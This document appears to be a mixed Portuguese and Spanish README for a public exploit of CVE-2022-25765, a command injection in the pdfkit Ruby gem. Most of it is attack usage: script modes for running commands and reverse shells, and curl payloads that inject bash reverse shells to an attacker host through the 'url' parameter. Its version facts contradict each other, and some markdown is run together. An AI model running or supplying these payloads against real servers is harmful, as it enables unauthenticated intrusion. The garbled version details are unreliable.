
CVE-2022-25765 é uma vulnerabilidade de injeção de comandos (Command Injection) que afeta o pdfkit (Ruby gem) nas versões < 0.8.7.2. A vulnerabilidade tem severidade CRÍTICA com CVSS 9.8, pois permite execução remota de comandos sem autenticação.
O problema está no fato de o pdfkit passar o parâmetro url diretamente ao shell sem sanitização. A biblioteca executa internamente o wkhtmltopdf com um comando semelhante a:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
Se a URL contiver %20 (espaço codificado na URL) seguido de backticks ` ou $(), o shell interpreta o conteúdo como um comando e o executa.
CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
O código vulnerável no pdfkit (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
A URL é interpolada diretamente no comando shell sem sanitização. Ao incluir %20 (espaço), o conteúdo após o espaço escapa do contexto do argumento do wkhtmltopdf e um \`` ou $()` permite executar comandos arbitrários.
UNICORDev (@NicPWNs e @Dev-Yeoj)
O exploit original encontra-se em:
requests, urllib3pip install -r requirements.txt
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# Ayuda
python3 exploit-CVE-2022-25765.py -h
# Inyección via curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# Comando simple
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
Para identificar se um servidor é vulnerável:
Creator: pdfkit v0.8.6# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs
# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)
url para eliminar caracteres perigosos (\``, $(), %20`)| Campo | Valor |
|---|
| CVE | CVE-2022-25765 |
| Produto | pdfkit (Ruby gem) |
| Versões afetadas | 0.0.0 – 0.8.7.2 |
| Tipo | Command Injection (CWE-78) |
| Autenticação | Não requerida |
| CVSS 3.1 | 9.8 CRITICAL |
| Correção | pdfkit ≥ 0.8.7.2 |
| Parâmetro | Descrição |
|---|
-c | Comando personalizado |
-s <IP> <PORT> | Modo reverse shell |
-w <URL> | URL do site vulnerável (opcional) |
-p <param> | Parâmetro POST (opcional, padrão: url) |
-h | Ajuda |